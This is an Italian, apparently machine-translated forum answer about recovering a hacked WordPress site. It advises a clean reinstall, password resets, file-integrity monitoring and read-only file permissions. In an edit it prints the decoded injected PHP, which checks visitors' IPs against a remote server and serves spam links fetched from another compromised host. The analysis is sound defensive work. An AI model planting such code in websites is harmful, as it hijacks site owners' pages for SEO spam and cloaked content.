Come impedire l'aggiunta di codice dannoso, trovato nel sito Web di WordPress compromesso?

Il fatto che il codice che è stato inserito nel tuo sito mette specificamente link in un div allo schermo mi porta a credere che questo è il lavoro di un truffatore SEO che sta sfruttando una vulnerabilità che è più probabile che sia in uno di i tuoi plugin o forse nelle impostazioni dei commenti. Se hai plug-in che non hanno avuto aggiornamenti da molto tempo potrebbero essere un buon posto per iniziare a cercare.

Un po 'di opzione nucleare è scaricare una nuova copia di WordPress e qualsiasi plugin che non hai personalizzato. Inoltre, vorrai avere una copia pulita di tutto ciò che è personalizzato (incluso il tuo tema e qualsiasi plugin personalizzato). Si spera che tu abbia backup automatici del tuo database perché probabilmente dovrai ripristinare anche questo.

Dopo esserti assicurato di avere una versione pulita dell'intero sito, devi scegliere un po 'di tempo per cancellare il tuo sito e caricare la versione pulita. Dico cancella il tuo sito perché il caricamento della versione pulita non sovrascrive i file aggiuntivi che potrebbero nascondersi da qualche parte.

A seconda della tua connessione Internet (e della dimensione del tuo sito), puoi farlo in tempi relativamente brevi.

Se disponi di un ampio archivio di immagini caricate (ecc.) che rappresenterà la parte più fastidiosa di questa opzione nucleare perché è la parte meno probabile del tuo sito da sottoporre a backup. Puoi scegliere di lasciare i tuoi caricamenti sul posto e sperare che non ci siano file dannosi. Se hai eseguito l'atomizzazione di tutto tranne i tuoi caricamenti e hai scoperto che il problema persiste, potresti aver isolato il problema in quella cartella, ma non è la posizione più probabile.

Ovviamente dovresti anche cambiare tutte le password degli amministratori (non so quanti utenti hai, ma potrebbe essere necessario estenderli a tutti gli utenti).

Alla fine, anche il nuking / ricostruzione del tuo intero sito non è ancora garantito perché potrebbe esserci una vulnerabilità in uno dei tuoi plug-in che deve ancora essere riparato.

EDIT:

Questa è la funzione che hai postato dopo che è stata decodificata e rientrata per readablilty

function q0($h1)
{
    $w2=curl_init();
    curl_setopt($w2,CURLOPT_URL,$h1);
    curl_setopt($w2,CURLOPT_RETURNTRANSFER,TRUE);
    $i3=curl_exec($w2);
    return $i3;
}
$h1=http://www.greenheartuae.com/wp-includes/license.txt;
$d4=file_get_contents('http://ip.museovirtuale.net/cgi-bin/ipcheck.cgi?ip='.$_SERVER['REMOTE_ADDR']);
if($_SERVER['REQUEST_URI']=='/' ||$_SERVER['REQUEST_URI']=='/index.php')
{
    if($d4)
    {
        if($d4==false or $d4=='forbidden' or $d4=='Forbidden')
        {
            echo '';
        }
        else
        {
            echo file_get_contents($h1);
            exit;
        }
    }
    else
    {
        $d4=q0('http://ip.museovirtuale.net/cgi-bin/ipcheck.cgi?ip='.$_SERVER['REMOTE_ADDR']);
        if($d4==false or $d4=='forbidden' or $d4=='Forbidden')
        {
            echo '';
        }
        else
        {
            echo q0($h1);
            exit;
        }
    }
}

Come puoi vedere, sta usando cURL per estrarre alcuni dati da un altro server. Molto probabilmente i dati sono i link che stai vedendo ed è per questo che i link possono cambiare. La natura dei link mi riporta alla mia ipotesi originale che questo è il lavoro di un truffatore SEO in cerca di link back (anche se potrebbe ancora essere un trucco per qualcos'altro). Inoltre, puoi vedere gli indirizzi web a cui sta collegando. Uno dei siti sembra essere un altro sito WordPress, mentre l'altro è stato catturato dal mio antivirus ed è chiaramente una cattiva notizia.

Quello che vuoi fare è trovare un modo per controllare se i file vengono modificati sul sistema. Per fare ciò è necessario disporre di un processo che verifichi l'integrità dei file in modo tempestivo, tramite 1. un monitor di integrità dei file come tripwire, 2. un processo come auditd che è agganciato al kernel, o 3. altri processo che non assomiglia a nessuno dei metodi tradizionali qui.

Una volta modificato, avrai il compito non invidiabile di scoprire quale utente l'ha fatto, se proviene da un altro metodo diverso dal web o da qualcos'altro.

Potrebbe non aiutarti a capire cosa ha fatto questa azione, ma potresti presumere che provenga dal server web (possibilmente PHP).

Ciò che puoi fare è proteggere questo file contro la modifica, chmoding la sola lettura e assegnarli a un utente che non è l'utente del server web.

Ad esempio, su una macchina Linux, potresti fare qualcosa del tipo:

chown root:root *.php
chmod 644 *.php

Ciò impedirà a un hacker di modificare questo file dal server web e può essere usato come protezione temporanea mentre si investiga il problema.